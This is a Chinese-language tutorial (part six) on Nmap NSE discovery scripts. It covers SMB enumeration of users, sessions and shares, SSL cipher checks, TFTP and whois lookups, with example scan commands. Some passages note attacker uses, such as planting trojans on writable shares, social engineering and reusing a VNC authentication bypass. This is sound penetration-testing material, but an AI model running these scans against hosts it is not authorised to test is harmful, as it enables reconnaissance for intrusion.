Nmap全脚本使用指南!NSE脚本全详细教程!Kali Linux教程!(六)
脚本类别
discovery(发现)
sip-methods
已演示过。这里不再演示。
436. smb-enum-domains
尝试枚举系统上的域及其策略。这通常需要凭据,但 Windows 2000 除外。除了实际域之外,通常还会显示“内置”域。Windows 在域列表中返回此域,但其策略似乎在任何地方都没有使用。
提供的大部分信息对渗透测试人员很有用,因为它告诉测试人员可以期待哪些类型的策略。例如,如果密码的最小长度为 8,测试人员可以修剪其数据库以匹配;如果最小长度为 14,测试人员可能会开始在人们的显示器上寻找便签。
另一个有用的信息是密码锁定。渗透测试人员通常想知道是否存在对网络产生负面影响的风险,这将表明这一点。显示 SID,这可能在其他工具中有用;列出了用户,它使用与 smb-enum-users.nse 不同的函数(尽管可能不会得到不同的结果),并且域的创建日期和时间可能会提供一些有关其历史记录的见解。
初始绑定到 SAMR 后,调用顺序为:
Connect4:获取 connect_handle
EnumDomains:获取域列表(如果您只想要名称,请在此处停止)。
QueryDomain:获取域的 SID。
OpenDomain:获取每个域的句柄。
QueryDomainInfo2:获取域信息。
QueryDomainUsers:获取域中的用户列表。
randomseed、smbbasic、smbport、smbsign
请参阅 smb 库的文档。
smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername
请参阅 smbauth 库的文档。
sudo nmap --script "smb-enum-domains.nse" -p445 192.168.174.128
sudo nmap -sU -sS --script "smb-enum-domains.nse" -p U:137,T:139 192.168.174.129
437. smb-enum-groups
从远程 Windows 系统获取组列表以及组用户列表。这与使用 /G 开关的 enum.exe 类似。
SAMR 中的以下 MSRPC 函数用于查找组列表及其用户的 RID。请记住,MSRPC 将组称为“别名”。
Bind:绑定到 SAMR 服务。
Connect4:获取连接句柄。
EnumDomains:获取域列表。
LookupDomain:获取域的 RID。
OpenDomain:获取每个域的句柄。
EnumDomainAliases:获取域中的组列表。
OpenAlias:获取每个组的句柄。
GetMembersInAlias:获取组中成员的 RID。
Close:关闭别名句柄。
Close:关闭域句柄。
Close:关闭连接句柄。
一旦 RID 终止,
Bind:绑定到 LSA 服务。
OpenPolicy2:获取策略句柄。
LookupSids2:将 SID 转换为用户名。
我 (Ron Bowes) 最初研究了使用 SAMR 函数 LookupRids2 将 RID 转换为用户名的可能性,但无论我尝试什么,该函数似乎都会返回错误。由于 enum.exe 也切换到 LSA 将 RID 转换为用户名,我认为他们有同样的问题,我做了同样的事情。
randomseed、smbbasic、smbport、smbsign
请参阅 smb 库的文档。
smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername
请参阅 smbauth 库的文档。
nmap --script "smb-enum-groups" -p445 192.168.174.132
sudo nmap -sU -sS --script "smb-enum-groups" -p U:137,T:139 192.168.174.132
438. smb-enum-processes
通过 SMB 从远程服务器提取进程列表。这将确定所有正在运行的进程、它们的进程 ID 及其父进程。这是通过查询远程注册表服务来完成的,该服务在 Vista 上默认处于禁用状态;在所有其他 Windows 版本上,它需要管理员权限。
由于这需要管理员权限,因此对于渗透测试人员来说并不是特别有用,因为他们可以使用 metasploit 或其他工具有效地执行相同的操作。但是,它确实提供了一种快速获取一组系统的进程列表的方法。
警告:我在对完全修补的 Windows 2000 系统进行注册表调用时遇到了 regsvc.exe 崩溃的情况;我已经修复了导致该问题的问题,但不能保证它(或相同代码中的类似漏洞)不会再次出现。由于该进程会自动重新启动,因此除了向用户显示消息框外,它不会对系统产生负面影响。
randomseed、smbbasic、smbport、smbsign
请参阅 smb 库的文档。
smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername
请参阅 smbauth 库的文档。
nmap --script "smb-enum-processes.nse" -p445 192.168.174.132
sudo nmap -sU -sS --script "smb-enum-processes.nse" -p U:137,T:139 192.168.174.132
439. smb-enum-services
检索远程 Windows 系统上运行的服务列表。每个服务属性包含每个服务的服务名称、显示名称和服务状态。
注意:现代 Windows 系统需要特权域帐户才能列出服务。
参考:
https://technet.microsoft.com/en-us/library/bb490995.aspx
https://en.wikipedia.org/wiki/Windows_service
randomseed、smbbasic、smbport、smbsign
请参阅 smb 库的文档。
smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername
请参阅 smbauth 库的文档。
sudo nmap --script "smb-enum-services.nse" -p445 192.168.174.128
sudo nmap --script "smb-enum-services.nse" --script-args "smbusername=Windows 7,smbpass=" -p445 192.168.174.128
440. smb-enum-sessions
枚举本地或通过 SMB 共享登录到系统的用户。本地用户可以在计算机上物理登录,也可以通过终端服务会话登录。例如,连接到文件共享或进行 RPC 调用的人员就是连接到 SMB 共享的连接。Nmap 的连接也会显示出来,通常由“0 秒前”连接的连接标识。
从渗透测试人员的角度来看,SMB 会话可能是此程序最有用的部分,特别是因为它不需要高级别的访问权限。例如,在文件服务器上,可能有十几个或更多的用户同时连接。根据用户名,它可能会告诉测试人员共享中存储了哪些类型的文件。
由于他们连接的 IP 和帐户是公开的,因此此处的信息还可以提供额外的测试目标,以及可能在该目标上有效的用户名。此外,由于给出了强大的用户名与 IP 相关性,它可以促进社会工程攻击。
通过读取远程注册表可以枚举已登录的用户(因此在 Vista 中不起作用,默认情况下会禁用此功能)。存储在 HKEY_USERS 下的键是代表已连接用户的 SID,可以使用 lsar.LsaLookupSids 函数将这些 SID 转换为正确的名称。执行此操作需要高于匿名的访问权限;来宾、用户或管理员都可以在 Windows 2000、XP、2003 和 Vista 上执行此请求。
枚举 SMB 连接是使用 srvsvc.netsessenum 函数完成的,该函数返回已登录的用户名、登录时间以及空闲时间。所需的访问级别因 Windows 版本而异,但在 Windows 2000 中,任何人(包括匿名帐户)都可以访问,而在 Windows 2003 中,需要用户或管理员帐户。
我从 Sysinternals 的工具 PsLoggedOn.exe 中学到了这个理念和技术。我 (Ron Bowes) 使用与他们类似的函数调用(尽管我没有使用他们的源代码),所以非常感谢他们。还要感谢 Matt Gardenghi 请求此脚本。
警告:我在对完全修补的 Windows 2000 系统进行注册表调用时遇到了 regsvc.exe 崩溃;我已经修复了导致该问题的问题,但不能保证它(或相同代码中的类似漏洞)不会再次出现。由于该过程会自动重新启动,因此除了向用户显示消息框外,它不会对系统产生负面影响。
randomseed、smbbasic、smbport、smbsign
请参阅 smb 库的文档。
smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername
请参阅 smbauth 库的文档。
nmap --script "smb-enum-sessions.nse" -p445 192.168.174.132
sudo nmap -sU -sS --script "smb-enum-sessions.nse" -p U:137,T:139 192.168.174.132
441. smb-enum-shares
尝试使用 srvsvc.NetShareEnumAll MSRPC 函数列出共享,并使用 srvsvc.NetShareGetInfo 检索有关它们的更多信息。如果拒绝访问这些函数,则检查常用共享名称列表。
查找开放共享对渗透测试人员很有用,因为可能共享了私人文件,或者,如果它是可写的,它可能是放置木马或感染已存在的文件的好地方。知道共享的位置可以使这些类型的测试更有用,但确定共享的位置需要管理员权限。
在 Windows 2000 上匿名运行 NetShareEnumAll,在任何其他 Windows 版本上都需要用户级帐户。调用 NetShareGetInfo 需要在 Windows 2003 及以下所有版本以及 Windows Vista 和 Windows 7(如果 UAC 被关闭)上使用管理员帐户。
即使 NetShareEnumAll 受到限制,尝试连接到共享也始终会显示其存在。因此,如果 NetShareEnumAll 失败,则使用基于大型测试网络的预生成共享列表。如果其中任何一个成功,则记录下来。
找到共享列表后,脚本会尝试匿名连接每个共享,这会将它们分为“匿名”(NULL 用户可以连接的共享)或“受限”(需要用户帐户的共享)。
randomseed、smbbasic、smbport、smbsign
请参阅 smb 库的文档。
smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername
请参阅 smbauth 库的文档。
sudo nmap --script "smb-enum-shares.nse" -p445 192.168.174.128
sudo nmap -sU -sS --script "smb-enum-shares.nse" -p U:137,T:139 192.168.174.128
442. smb-ls
尝试检索有关 SMB 卷上共享的文件的有用信息。输出类似于 UNIX ls 命令的输出。
smb-ls.path
相对于要列出内容的共享的路径(默认值:共享的根目录)
smb-ls.pattern
要执行的搜索模式(默认值:*)
smb-ls.share
(或 smb-ls.shares)要连接的共享(或以冒号分隔的共享列表)(默认值:使用 smb-enum-shares 找到的共享)
smb-ls.checksum
下载每个文件并计算校验和(默认值:false)
ls.checksum、ls.empty、ls.errors、ls.human、ls.maxdepth、ls.maxfiles
请参阅 ls 库的文档。
randomseed、smbbasic、smbport、smbsign
请参阅 smb 库的文档。
smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername
请参阅 smbauth 库的文档。
sudo nmap -p 445 192.168.174.128 --script "smb-ls" --script-args 'share=c$,path=\temp'
sudo nmap -p 445 192.168.174.128 --script "smb-enum-shares,smb-ls"
443. smb-mbenum
查询由 Windows 主浏览器管理的信息。
smb-mbenum.format
(可选)如果设置,则更改脚本返回结果的格式。有三种可能的格式:1. 按类型水平排序 2. 按类型垂直排序 3. 按类型垂直排序并显示详细信息(默认)
smb-mbenum.domain
(可选)如果未指定,则列出查询浏览器的域
smb-mbenum.filter
(可选)如果设置,则向浏览器查询特定类型的服务器(@see ServerTypes)
randomseed、smbbasic、smbport、smbsign
请参阅 smb 库的文档。
smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername
请参阅 smbauth 库的文档。
nmap -p 445 192.168.174.132 --script "smb-mbenum"
smb-os-discovery
已演示过。这里不再演示。
444. smb-protocols
尝试列出 SMB 服务器支持的协议和方言。
该脚本尝试使用以下方言启动连接:
NT LM 0.12 (SMBv1)
2.0.2 (SMBv2)
2.1 (SMBv2)
3.0 (SMBv3)
3.0.2 (SMBv3)
3.1.1 (SMBv3)
此外,如果发现 SMBv1 已启用,它会将其标记为不安全。此脚本是(已删除)启用 smbv2 的脚本的后继者。
randomseed、smbbasic、smbport、smbsign
请参阅 smb 库的文档。
smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername
请参阅 smbauth 库的文档。
nmap -p445 --script "smb-protocols" 192.168.174.132
nmap -p139 --script "smb-protocols" 192.168.174.132
smb-security-mode
已演示过。这里不再演示。
445. smb-server-stats
尝试通过 SMB 和 MSRPC 获取服务器的统计数据,使用 TCP 端口 445 或 139。
在大多数 Windows 版本上,需要管理员帐户才能获取这些统计数据,而 Vista 及更高版本需要关闭 UAC。
这里返回的一些数字对我来说感觉不对,但它们绝对是 Windows 返回的数字。请谨慎对待这里的值。
这些统计数据是使用对 SRVSVC 函数 NetServerGetStatistics 的一次调用找到的。Wireshark 错误地解析了此数据包,直到版本 1.0.3(可能更高)。
randomseed、smbbasic、smbport、smbsign
请参阅 smb 库的文档。
smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername
请参阅 smbauth 库的文档。
sudo nmap --script "smb-server-stats.nse" -p445 192.168.174.128
sudo nmap -sU -sS --script "smb-server-stats.nse" -p U:137,T:139 192.168.174.128
446. smb-system-info
从注册表中拉回有关远程系统的信息。获取所有信息需要管理员帐户,尽管用户帐户仍会获取大量信息。Guest 可能不会获取任何信息,匿名用户也不会。这适用于所有操作系统,包括 Windows 2000。
Windows Vista 默认禁用远程注册表访问,因此除非启用该功能,否则此脚本将不起作用。
如果您知道 Windows 注册表中存储的更多信息,可能会很有趣,请向 nmap-dev 邮件列表发送消息,我(Ron Bowes)会将其添加到我的待办事项列表中。向其中添加新检查非常容易。
警告:在对完全修补的 Windows 2000 系统进行注册表调用时,我遇到了 regsvc.exe 崩溃的情况;我已经修复了导致该问题的问题,但不能保证它(或相同代码中的类似漏洞)不会再次出现。由于该过程会自动重新启动,因此除了向用户显示消息框外,它不会对系统产生负面影响。
randomseed、smbbasic、smbport、smbsign
请参阅 smb 库的文档。
smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername
请参阅 smbauth 库的文档。
sudo nmap --script "smb-system-info.nse" -p445 192.168.174.128
sudo nmap -sU -sS --script "smb-system-info.nse" -p U:137,T:139 192.168.174.128
447. smb2-capabilities
尝试列出 SMBv2 服务器中每个启用的方言所支持的功能。
该脚本发送 SMB2_COM_NEGOTIATE 命令并使用 SMB 方言解析响应:
2.0.2
2.1
3.0
3.0.2
3.1.1
参考:
https://msdn.microsoft.com/en-us/library/cc246561.aspx
randomseed、smbbasic、smbport、smbsign
请参阅 smb 库的文档。
smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername
请参阅 smbauth 库的文档。
nmap -p 445 --script "smb2-capabilities" 192.168.174.132
nmap -p 139 --script "smb2-capabilities" 192.168.174.132
smb2-security-mode
已演示过。这里不再演示。
smb2-time
已演示过。这里不再演示。
smtp-commands
已演示过。这里不再演示。
smtp-ntlm-info
已演示过。这里不再演示。
448. smtp-open-relay
尝试通过发出预定义的 SMTP 命令组合来中继邮件。此脚本的目的是判断 SMTP 服务器是否容易受到邮件中继攻击。
作为开放中继工作的 SMTP 服务器是一种电子邮件服务器,它不会验证用户是否有权从指定的电子邮件地址发送电子邮件。因此,用户可以发送来自他们想要的任何第三方电子邮件地址的电子邮件。
检查是基于 MAIL FROM 和 RCPT TO 命令的组合进行的。该列表在源文件中硬编码。如果 nmap 处于详细模式,则脚本将输出服务器允许的所有工作组合,否则脚本将打印成功测试的次数。如果服务器需要身份验证,则脚本将不输出。
如果启用了调试并且在测试目标主机时发生错误,则将打印错误以及在错误发生之前发现的任何组合的列表。
smtp-open-relay.ip
使用此参数更改要使用的 IP 地址(默认为目标 IP 地址)
smtp-open-relay.to
定义要使用的目标电子邮件地址(不带域,默认为 Relaytest)
smtp.domain
或 smtp-open-relay.domain 定义要在反垃圾邮件测试和 EHLO 命令中使用的域(默认为 nmap.scanme.org)
smtp-open-relay.from
定义要使用的源电子邮件地址(不带域,默认为反垃圾邮件)
smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername
请参阅 smbauth 库的文档。
nmap --script "smtp-open-relay.nse" --script-args "smtp-open-relay.domain=scanme.nmap.org,smtp-open-relay.ip=192.168.174.132" -p 25,465,587 192.168.174.132
449. sniffer-detect
检查本地以太网上的目标的网卡是否处于混杂模式。
所用技术在 http://www.securityfriday.com/promiscuous_detection_01.pdf 中有描述。
sudo nmap -sV --script=sniffer-detect 192.168.174.128
snmp-hh3c-logins
已演示过。这里不再演示。
snmp-interfaces
已演示过。这里不再演示。
snmp-netstat
已演示过。这里不再演示。
snmp-processes
已演示过。这里不再演示。
snmp-sysdescr
已演示过。这里不再演示。
snmp-win32-services
已演示过。这里不再演示。
snmp-win32-shares
已演示过。这里不再演示。
snmp-win32-software
已演示过。这里不再演示。
socks-auth-info
已演示过。这里不再演示。
socks-open-proxy
已演示过。这里不再演示。
ssh-hostkey
已演示过。这里不再演示。
450. ssh2-enum-algos
报告目标 SSH2 服务器提供的算法数量(用于加密、压缩等)。如果设置了详细程度,则提供的算法将按类型列出。
如果“客户端到服务器”和“服务器到客户端”算法列表相同(顺序指定首选项),则列表在组合类型下仅显示一次。
nmap --script "ssh2-enum-algos" -p22 192.168.174.132
ssl-cert
已演示过。这里不再演示。
451. ssl-cert-intaddr
报告在 SSL 服务证书的各个字段中找到的任何私有 (RFC1918) IPv4 地址。仅当目标地址本身不是私有地址时才会报告这些地址。需要 Nmap v7.30 或更高版本。
tls.servername
请参阅 tls 库的文档。
smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername
请参阅 smbauth 库的文档。
smtp.domain
请参阅 smtp 库的文档。
randomseed、smbbasic、smbport、smbsign
请参阅 smb 库的文档。
mssql.domain、mssql.instance-all、mssql.instance-name、mssql.instance-port、mssql.password、mssql.protocol、mssql.scanned-ports-only、mssql.timeout、mssql.username
请参阅 mssql 库的文档。
nmap -p 443 --script "ssl-cert-intaddr" bing.com
ssl-date
已演示过。这里不再演示。
452. ssl-enum-ciphers
此脚本反复启动 SSLv3/TLS 连接,每次尝试新的密码或压缩器,同时记录主机是接受还是拒绝它。最终结果是服务器接受的所有密码套件和压缩器的列表。
每个密码套件都显示一个字母等级(A 到 F),表示连接的强度。等级基于密钥交换和流密码的加密强度。消息完整性(哈希)算法选择不是一个因素。以“强度最小”开头的输出行显示提供的最弱密码的强度。评分基于 Qualys SSL Labs SSL 服务器评级指南,但不考虑协议支持(TLS 版本),这占 SSL Labs 评级的 30%。
SSLv3/TLSv1 需要比 SSLv2 付出更多努力来确定服务器支持哪些密码和压缩方法。客户端列出它能够支持的密码和压缩器,服务器将以所选的单个密码和压缩器或拒绝通知进行响应。
一些服务器使用客户端的密码套件排序:它们选择客户端提供的套件中它们也支持的第一个套件。其他服务器更喜欢自己的排序:它们从客户端提供的套件中选择最喜欢的套件。在服务器排序的情况下,脚本会进行额外探测以发现服务器的排序偏好列表。否则,列表按字母顺序排序。
该脚本将警告某些 SSL 错误配置,例如 MD5 签名证书、低质量的临时 DH 参数和 POODLE 漏洞。
此脚本具有侵入性,因为它必须启动与服务器的多个连接,因此非常嘈杂。
建议将此脚本与版本检测 (-sV) 结合使用,以发现在意外端口上运行的 SSL/TLS 服务。对于最常见的 SSL 端口,如 443、25(使用 STARTTLS)、3389 等,该脚本足够智能,可以自行运行。
参考:
Qualys SSL Labs 评级指南 - https://www.ssllabs.com/projects/rating-guide/
mssql.domain、mssql.instance-all、mssql.instance-name、mssql.instance-port、mssql.password、mssql.protocol、mssql.scanned-ports-only、mssql.timeout、mssql.username
请参阅 mssql 库的文档。
smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername
请参阅 smbauth 库的文档。
smtp.domain
请参阅 smtp 库的文档。
randomseed、smbbasic、smbport、smbsign
请参阅 smb 库的文档。
tls.servername
请参阅 tls 库的文档。
nmap -sV --script "ssl-enum-ciphers" -p 443 bing.com
ssl-known-key
已演示过。这里不再演示。
sstp-discover
已演示过。这里不再演示。
453. stun-info
使用 STUN 协议检索 NAT 主机的外部 IP 地址。
stun.mode
请参阅 stun 库的文档。
sudo nmap -sV -Pn -sU -p 3478 --script "stun-info" ip/域名
454. stuxnet-detect
检测主机是否感染了 Stuxnet 蠕虫 (http://en.wikipedia.org/wiki/Stuxnet)。
如果在命令行中给出了文件名格式,则会下载 Stuxnet 感染的可执行版本。
stuxnet-detect.save
保存 Stuxnet 可执行文件的路径,其中 %h 替换为主机的 IP 地址,%v 替换为 Stuxnet 的版本。
randomseed、smbbasic、smbport、smbsign
请参阅 smb 库的文档。
smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername
请参阅 smbauth 库的文档。
sudo nmap --script "stuxnet-detect" -p 445 ip/域名
455. targets-asn
生成给定路由 AS 编号 (ASN) 的 IP 前缀列表。
此脚本使用 Shadowserver Foundation 运营的 whois 服务器数据库。我们感谢他们授予我们在 Nmap 中使用此数据库的权限。
输出采用 CIDR 表示法。
http://www.shadowserver.org/wiki/pmwiki.php/Services/IP-BGP
target-asn.whois_port
要使用的 whois 端口。默认值:43。
targets-asn.whois_server
要使用的 whois 服务器。默认值:asn.shadowserver.org。
targets-asn.asn
要搜索的 ASN。
max-newtargets、newtargets
请参阅目标库的文档。
nmap --script "targets-asn" --script-args "targets-asn.asn=32"
456. targets-ipv6-eui64
注意:该脚本默认是并没安装的。使用前请先安装此脚本。建议挂代理安装。
sudo wget https://svn.nmap.org/nmap/scripts/targets-ipv6-eui64.nse
此脚本在预扫描阶段运行,将 48 位 MAC 地址转换为 EUI-64 IPv6 地址,这些地址通常用于自动配置。生成的地址可以添加到扫描队列中。
用作输入的 MAC 地址是从由 target-ipv6-eui64.input script-arg 命名的文件中读取的。这些地址的良好来源是 IPv4 主机发现 Nmap 扫描。
target-ipv6-eui64.input
每行包含 1 个 MAC 地址的输入文件
targets-ipv6-subnet
带前缀的表/单个 IPv6 地址(例如 2001:db8:c0ca::/48 或 { 2001:db8:c0ca::/48, 2001:db8:FEA::/48 })默认值:fe80::/64
max-newtargets, newtargets
请参阅目标库的文档。
nmap -6 --script "targets-ipv6-eui64" --script-args "newtargets,targets-ipv6-eui64.input=macs.txt,targets-ipv6-subnet={2001:db8:c0ca::/64}"
457. targets-ipv6-map4to6
此脚本在预扫描阶段运行,将 IPv4 地址映射到 IPv6 网络并将其添加到扫描队列。
该技术比技术上称为“IPv4 映射的 IPv6 地址”更通用。IPv6 网络地址的低 4 个字节被替换为 IPv4 地址的 4 个字节。当 IPv6 网络为 ::ffff:0:0/96 时,脚本会生成 IPv4 映射的 IPv6 地址。当网络为 ::/96 时,它会生成与 IPv4 兼容的 IPv6 地址。
target-ipv6-map4to6.IPv4Hosts
脚本必须至少有一个 IPv4 主机才能运行(例如 192.168.1.1 或 { 192.168.1.1, 192.168.2.2 } )或子网地址(192.168.1.0/24 或 { 192.168.1.0/24, 192.168.2.0/24 } )
targets-ipv6-subnet
带前缀的表/单个 IPv6 地址(例如 2001:db8:c0ca::/48 或 { 2001:db8:c0ca::/48, 2001:db8:FEA::/48 })
max-newtargets, newtargets
请参阅目标库的文档。
nmap -6 --script "targets-ipv6-map4to6" --script-args "newtargets,targets-ipv6-map4to6.IPv4Hosts={192.168.174.0/24},targets-ipv6-subnet={2001:db8:c0ca::/64}"
targets-ipv6-multicast-echo
已演示过。这里不再演示。
targets-ipv6-multicast-invalid-dst
已演示过。这里不再演示。
targets-ipv6-multicast-mld
已演示过。这里不再演示。
targets-ipv6-multicast-slaac
已演示过。这里不再演示。
458. targets-ipv6-wordlist
使用构成给定子网地址的十六进制“单词”的单词列表将 IPv6 地址添加到扫描队列。
target-ipv6-wordlist.nsegments
数字用户可以精确地指示 16 位段上的字的大小。
targets-ipv6-wordlist.fillright
使用此参数,脚本将向右填充剩余的零,而不是向左填充(2001:db8:c0a:dead:: 而不是 2001:db8:c0ca::dead)
targets-ipv6-subnet
带前缀的表/单个 IPv6 地址(例如 2001:db8:c0ca::/48 或 { 2001:db8:c0ca::/48, 2001:db8:FEA::/48 } )
targets-ipv6-wordlist.wordlist
包含用于构建地址的十六进制字的文件,每行一个。默认值:nselib/data/targets-ipv6-wordlist
max-newtargets,newtargets
请参阅目标库的文档。
nmap -6 -p 80 --script "targets-ipv6-wordlist" --script-args "newtargets,targets-ipv6-subnet={2001:db8:c0ca::/64}"
targets-sniffer
已演示过。这里不再演示。
459. targets-traceroute
将跟踪路由跳数插入 Nmap 扫描队列。只有使用 Nmap 的 --traceroute 选项并给出 newtargets 脚本参数时,它才有效。
newtargets
如果指定,则将跟踪路由跳数添加到 Nmap 扫描队列。
max-newtargets
请参阅目标库的文档。
sudo nmap --script "targets-traceroute" --script-args "newtargets" --traceroute 192.168.174.132
460. telnet-encryption
确定远程 telnet 服务器上是否支持加密选项。某些系统(包括 FreeBSD 和许多 Linux 发行版中提供的 krb5 telnetd)错误地实现了此选项,导致远程 root 漏洞。此脚本当前仅测试是否支持加密,而不是针对该特定漏洞。
参考资料:
FreeBSD 公告:http://lists.freebsd.org/pipermail/freebsd-announce/2011-December/001398.html
FreeBSD 漏洞:http://www.exploit-db.com/exploits/18280/
RedHat Enterprise Linux 公告:https://rhn.redhat.com/errata/RHSA-2011-1854.html
nmap -p 23 192.168.174.132 --script "telnet-encryption"
telnet-ntlm-info
已演示过。这里不再演示。
461. tftp-enum
通过测试常用文件名列表来枚举 TFTP(简单文件传输协议)文件名。
TFTP 不提供目录列表。此脚本尝试从列表中检索文件名。该列表由文件 tftplist.txt 中的静态名称以及根据目标地址更改的 Cisco 设备配置文件名组成,对于 IP 地址 A.B.C.D,其格式为 A.B.C.X-confg,对于 X,其格式为 0 到 255。
使用 tftp-enum.filelist 脚本参数搜索其他静态文件名。
此脚本是来自 http://code.google.com/p/tftptheft/ 的 tftptheft 的重新实现。
filelist
- 文件名,其中包含要在 tftp 服务器上枚举的文件名列表
sudo nmap -sU -p 69 --script "tftp-enum.nse" --script-args "tftp-enum.filelist=customlist.txt" 192.168.174.132
tls-alpn
已演示过。这里不再演示。
tls-nextprotoneg
已演示过。这里不再演示。
462. tn3270-screen
连接到 tn3270“服务器”并返回屏幕。
隐藏字段将以(行、列)坐标列在屏幕下方。
tn3270-screen.commands
打印屏幕前要发出的命令列表,以分号分隔 tn3270-screen.lu 指定要使用的逻辑单元,如果无法连接则失败 tn3270-screen.disable_tn3270e 禁用 TN3270 增强模式
sudo nmap --script "tn3270-screen" -p60000 ip/域名
463. traceroute-geolocation
列出跟踪路由中每一跳的地理位置,并可选择将结果保存到 KML 文件,可在 Google 地球和地图上绘制。
traceroute-geolocation.kmlfile
要写入 KML 数据的文件的完整路径和名称。KML 文件可用于 Google Earth 或地图来绘制跟踪路由数据。
slaxml.debug
请参阅 slaxml 库的文档。
http.host、http.max-body-size、http.max-cache-size、http.max-pipeline、http.pipeline、http.truncated-ok、http.useragent
请参阅 http 库的文档。
smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername
请参阅 smbauth 库的文档。
sudo nmap --traceroute --script "traceroute-geolocation" 192.168.174.132
ubiquiti-discovery
已演示过。这里不再演示。
upnp-info
已演示过。这里不再演示。
ventrilo-info
已演示过。这里不再演示。
464. versant-info
从 Versant 对象数据库中提取信息,包括文件路径、版本和数据库名称。
sudo nmap -p 5019 ip/域名 --script "versant-info"
465. vmware-version
查询 VMware 服务器 (vCenter、ESX、ESXi) SOAP API 以提取版本信息。
与 Claudio Criscione、Paolo Canaletti 创建的 VASTO 中的 VMware Fingerprinter 相同的脚本
slaxml.debug
请参阅 slaxml 库的文档。
http.host、http.max-body-size、http.max-cache-size、http.max-pipeline、http.pipeline、http.truncated-ok、http.useragent
请参阅 http 库的文档。
smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername
请参阅 smbauth 库的文档。
sudo nmap --script "vmware-version" 192.168.174.128
vnc-info
已演示过。这里不再演示。
466. vnc-title
尝试登录 VNC 服务器并获取其桌面名称。使用 vnc-brute 发现的凭据或 None 身份验证类型。如果 realvnc-auth-bypass 运行并返回 VULNERABLE,则此脚本将使用该漏洞绕过身份验证。
creds.[service], creds.global
请参阅 creds 库的文档。
nmap -sV --script=vnc-title 192.168.174.132
467. voldemort-info
使用 Voldemort 本机协议从 Voldemort 分布式键值存储中检索集群并存储信息。
sudo nmap -p 6666 --script "voldemort-info" ip/域名
468. vuze-dht-info
从 Vuze 文件共享节点检索一些基本信息,包括协议版本。
由于 Vuze 没有其 DHT 服务的默认端口,因此此脚本在确定何时运行时会遇到一些困难。大多数脚本都是由默认端口或指纹服务触发的。为了解决这个问题,有两个选项:1. 始终运行版本扫描,以识别 vuze-dht 服务以触发脚本。2. 通过设置参数 vuze-dht-info.allports 强制脚本针对每个端口运行
vuze-dht-info.allports
如果设置,则针对每个开放端口运行此脚本
sudo nmap -sU -p 17555 ip/域名 --script "vuze-dht-info" -sV
wdb-version
已演示过。这里不再演示。
weblogic-t3-info
已演示过。这里不再演示。
469. whois-domain
尝试检索有关目标域名的信息
nmap --script "whois-domain.nse" -p80 ip/域名
470. whois-ip
查询区域互联网注册中心 (RIR) 的 WHOIS 服务并尝试检索包含目标 IP 地址的 IP 地址分配信息。
显示的字段包含有关分配和负责管理地址空间的组织的信息。当在 Nmap 命令行 (-v) 上请求输出详细程度时,将显示有关分配的额外信息。
为了确定要查询给定目标 IP 地址的哪个 RIR,此脚本使用由 IANA 托管的分配数据。数据在本地缓存,然后解析以用作查找表。本地缓存的文件会定期刷新,以帮助确保数据是最新的。如果出于任何原因,这些文件不适用于脚本,则将依次查询默认的 Whois 服务序列,直到:找到所需的记录;或找到对另一个(定义的)Whois 服务的引用;或直到序列用尽而未找到引用或所需的记录。
如果脚本中定义了另一个 Whois 服务,则脚本将识别对该服务的引用,并继续向引用的服务发送查询。如果记录不包含引用,则假定该记录是所需记录。
为了减少发送到 Whois 服务的不必要查询数量,使用记录缓存,并且缓存中的条目可以应用于记录中表示的地址范围内的任何目标。
在某些情况下,缓存响应的能力会阻止发现适用于目标的其他较小的 IP 地址分配,因为缓存的响应优先于发送 Whois 查询。当确保检索有关 IP 地址分配的最准确信息很重要时,应使用脚本参数 whodb 并将其设置为“nocache”(参见脚本参数)。这会将可能使用缓存记录的地址范围缩小到有助于确保发现较小分配的大小。应谨慎使用此选项,因为可能会发送大量 whois 查询,并可能被禁止使用这些服务。
使用此脚本时,您的 IP 地址将被发送到 iana.org。此外,您的地址和扫描目标的地址将被发送到其中一个 RIR。
whodb
取下列任意值,这些值可以组合使用:
whodb=nofile 阻止使用 IANA 分配数据,而是查询默认服务。
whodb=nofollow 忽略引用,而是显示获得的第一个记录。
whodb=nocache 当缓存中的记录适用于大范围的地址时,阻止接受缓存中的记录。
whodb=[service-ids] 重新定义要查询的默认服务。暗示 nofile。
slaxml.debug
请参阅 slaxml 库的文档。
http.host、http.max-body-size、http.max-cache-size、http.max-pipeline、http.pipeline、http.truncated-ok、http.useragent
请参阅 http 库的文档。
smbdomain、smbhash、smbnoguest、smbpassword、smbtype、smbusername
请参阅 smbauth 库的文档。
#基本用法
nmap scanme.nmap.org --script "whois-ip"#为了防止使用 IANA 分配数据,请将 nofile 值提供给 whodb 参数
nmap scanme.nmap.org --script "whois-ip" --script-args "whodb=nofile"
nmap scanme.nmap.org --script "whois-ip" --script-args "whois.whodb=nofile"#提供一系列 whois 服务还将阻止使用 IANA 分配数据并覆盖默认序列:
nmap scanme.nmap.org --script "whois-ip" --script-args "whodb=arin+ripe+afrinic"
nmap scanme.nmap.org --script "whois-ip" --script-args "whois.whodb=apnic*lacnic"
#提供服务的顺序就是查询服务的顺序。(注意:不应使用逗号或分号来分隔参数值。)#为了返回获得的第一个记录,即使它包含对另一个服务的推荐,也要向 whodb 提供 nofollow 值:
nmap scanme.nmap.org --script "whois-ip" --script-args "whodb=nofollow"
nmap scanme.nmap.org --script "whois-ip" --script-args "whois.whodb=nofollow+ripe"
#请注意,只有一项服务(第一个提供的服务)将与 nofollow 结合使用。#为了确保即使缓存中存在较大的分配也能发现较小的分配,请向 whodb 提供 nocache 值:
nmap scanme.nmap.org --script "whois-ip" --script-args "whodb=nocache"
